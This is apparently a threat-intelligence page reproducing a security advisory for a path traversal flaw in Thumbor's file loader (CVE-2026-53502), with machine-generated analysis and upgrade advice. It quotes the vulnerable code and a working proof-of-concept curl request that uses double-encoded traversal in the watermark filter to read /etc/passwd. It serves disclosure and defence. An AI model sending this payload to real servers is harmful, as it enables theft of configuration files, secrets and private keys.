Thumbor has path traversal via post-validation URL decoding bypass in file_loader (CVE-2026-53502)
The file_loader performs `unquote()` on the file path AFTER the `abspath() + startswith()` security check. An attacker can use percent-encoded path traversal sequences (`%2e%2e` for `..`) that pass the security check as literal directory names, but are then decoded to actual `..` traversal sequences. ## Affected code `thumbor/loaders/file_loader.py` lines 28-49: ```python async def load(context, path): file_path = join( context.config.FILE_LOADER_ROOT_PATH.rstrip("/"), path.lstrip("/") ) file_path = abspath(file_path) inside_root_path = file_path.startswith( # Security check abspath(context.config.FILE_LOADER_ROOT_PATH) ) result = LoaderResult() if not inside_root_path: result.error = LoaderResult.ERROR_NOT_FOUND result.successful = False return result if not exists(file_path): file_path = unquote(file_path) # unquote AFTER check! if exists(file_path) and isfile(file_path): with open(file_path, "rb") as source_file: ... ``` The watermark and frame filters pass their URL parameters directly to the loader without re-encoding (unlike the main image URL flow which applies `quote()` in `imaging.py` line 37). ## PoC ```bash # Read /etc/passwd via watermark filter path traversal # %252e is double-encoded: Tornado decodes to %2e, filter passes to file_loader, # file_loader unquote decodes %2e to . curl 'http://thumbor-host:8888/unsafe/filters:watermark(%252e%252e/%252e%252e/%252e%252e/%252e%252e/etc/passwd,0,0,100)/some-valid-image.jpg' ``` Flow: 1. `%252e%252e` arrives at Tornado, decoded to `%2e%2e` 2. Watermark filter passes `%2e%2e/%2e%2e/.../etc/passwd` to file_loader 3. `join(ROOT, '%2e%2e/...')` = `ROOT/%2e%2e/...` 4. `abspath()` sees `%2e%2e` as literal dir name (no dots to resolve) 5. `startswith(ROOT)` = True (passes check) 6. `exists()` returns False (literal `%2e%2e` dir doesn't exist) 7. `unquote()` converts `%2e%2e` to `..` 8. OS resolves `..` → reads files outside ROOT ## Prerequisites - `LOADER = thumbor.loaders.file_loader` (or `file_loader_http_fallback`) - `ALLOW_UNSAFE_URL = True` (this is the default) - watermark/frame filters are enabled by default (in BUILTIN_FILTERS) ## Impact Arbitrary file read on the thumbor server. When the file is a valid image format, its content is returned in the response overlaid as a watermark. Can be used to read configuration files, secrets, private keys, etc.
AI Analysis
Technical Summary
Thumbor's file_loader performs an abspath and startswith check to ensure file paths are within a configured root directory. However, it applies URL decoding (unquote) only after this check. Attackers can exploit this by sending double-encoded path traversal sequences (e.g., %252e%252e) that decode to '..' after the check, allowing traversal outside the root directory. This flaw affects the watermark and frame filters that pass parameters directly to the loader without re-encoding. The vulnerability allows arbitrary file reads on the Thumbor server, potentially exposing sensitive files. The vulnerability is tracked as CVE-2026-53502 and affects Thumbor versions before 7.8.0.
Potential Impact
An attacker can read arbitrary files on the Thumbor server by exploiting the path traversal vulnerability. When the accessed file is a valid image, its content can be returned in the response overlaid as a watermark. This can expose sensitive information such as configuration files, secrets, and private keys, leading to potential compromise of the server or associated systems.
Mitigation Recommendations
A patch is available for this vulnerability. Users should upgrade Thumbor to version 7.8.0 or later where the issue is fixed. Until patched, consider disabling the watermark and frame filters or setting ALLOW_UNSAFE_URL to false to reduce exposure. Review the vendor advisory for the official fix and remediation guidance.
Thumbor has path traversal via post-validation URL decoding bypass in file_loader (CVE-2026-53502)
Description
The file_loader performs `unquote()` on the file path AFTER the `abspath() + startswith()` security check. An attacker can use percent-encoded path traversal sequences (`%2e%2e` for `..`) that pass the security check as literal directory names, but are then decoded to actual `..` traversal sequences. ## Affected code `thumbor/loaders/file_loader.py` lines 28-49: ```python async def load(context, path): file_path = join( context.config.FILE_LOADER_ROOT_PATH.rstrip("/"), path.lstrip("/") ) file_path = abspath(file_path) inside_root_path = file_path.startswith( # Security check abspath(context.config.FILE_LOADER_ROOT_PATH) ) result = LoaderResult() if not inside_root_path: result.error = LoaderResult.ERROR_NOT_FOUND result.successful = False return result if not exists(file_path): file_path = unquote(file_path) # unquote AFTER check! if exists(file_path) and isfile(file_path): with open(file_path, "rb") as source_file: ... ``` The watermark and frame filters pass their URL parameters directly to the loader without re-encoding (unlike the main image URL flow which applies `quote()` in `imaging.py` line 37). ## PoC ```bash # Read /etc/passwd via watermark filter path traversal # %252e is double-encoded: Tornado decodes to %2e, filter passes to file_loader, # file_loader unquote decodes %2e to . curl 'http://thumbor-host:8888/unsafe/filters:watermark(%252e%252e/%252e%252e/%252e%252e/%252e%252e/etc/passwd,0,0,100)/some-valid-image.jpg' ``` Flow: 1. `%252e%252e` arrives at Tornado, decoded to `%2e%2e` 2. Watermark filter passes `%2e%2e/%2e%2e/.../etc/passwd` to file_loader 3. `join(ROOT, '%2e%2e/...')` = `ROOT/%2e%2e/...` 4. `abspath()` sees `%2e%2e` as literal dir name (no dots to resolve) 5. `startswith(ROOT)` = True (passes check) 6. `exists()` returns False (literal `%2e%2e` dir doesn't exist) 7. `unquote()` converts `%2e%2e` to `..` 8. OS resolves `..` → reads files outside ROOT ## Prerequisites - `LOADER = thumbor.loaders.file_loader` (or `file_loader_http_fallback`) - `ALLOW_UNSAFE_URL = True` (this is the default) - watermark/frame filters are enabled by default (in BUILTIN_FILTERS) ## Impact Arbitrary file read on the thumbor server. When the file is a valid image format, its content is returned in the response overlaid as a watermark. Can be used to read configuration files, secrets, private keys, etc.
CVSS v4.0
Affected software
Run on your own infrastructure? Check whether these packages are installed with threat-finder — our free open-source scanner.
Weaknesses
AI-Powered Analysis
Machine-generated threat intelligence
Technical Analysis
Thumbor's file_loader performs an abspath and startswith check to ensure file paths are within a configured root directory. However, it applies URL decoding (unquote) only after this check. Attackers can exploit this by sending double-encoded path traversal sequences (e.g., %252e%252e) that decode to '..' after the check, allowing traversal outside the root directory. This flaw affects the watermark and frame filters that pass parameters directly to the loader without re-encoding. The vulnerability allows arbitrary file reads on the Thumbor server, potentially exposing sensitive files. The vulnerability is tracked as CVE-2026-53502 and affects Thumbor versions before 7.8.0.
Potential Impact
An attacker can read arbitrary files on the Thumbor server by exploiting the path traversal vulnerability. When the accessed file is a valid image, its content can be returned in the response overlaid as a watermark. This can expose sensitive information such as configuration files, secrets, and private keys, leading to potential compromise of the server or associated systems.
Mitigation Recommendations
A patch is available for this vulnerability. Users should upgrade Thumbor to version 7.8.0 or later where the issue is fixed. Until patched, consider disabling the watermark and frame filters or setting ALLOW_UNSAFE_URL to false to reduce exposure. Review the vendor advisory for the official fix and remediation guidance.
Technical Details
- Gcve Source
- db.gcve.eu
- Osv Id
- GHSA-cj54-hpcc-gj6h
- Osv Schema Version
- 1.4.0
- Aliases
- ["CVE-2026-53502"]
- Ecosystems
- ["PyPI"]
- Database Specific Severity
- HIGH
- Cvss Version
- 4.0
Threat ID: 6a6d13b0bf32cb7a34580123
Added to database: 07/31/2026, 21:29:20 UTC
Last enriched: 07/31/2026, 21:33:06 UTC
Last updated: 09/13/2026, 10:01:31 UTC
Views: 75
Community Reviews
0 reviewsCrowdsource mitigation strategies, share intel context, and vote on the most helpful responses. Sign in to add your voice and help keep defenders ahead.
Want to contribute mitigation steps or threat intel context? Sign in or create an account to join the community discussion.
Actions
Updates to AI analysis require Pro Console access. Upgrade inside Console → Billing.
Need more coverage?
Upgrade to Pro Console for AI refresh and higher limits.
For incident response and remediation, OffSeq services can help resolve threats faster.
Latest Threats
Check if your credentials are on the dark web
Instant breach scanning across billions of leaked records. Free tier available.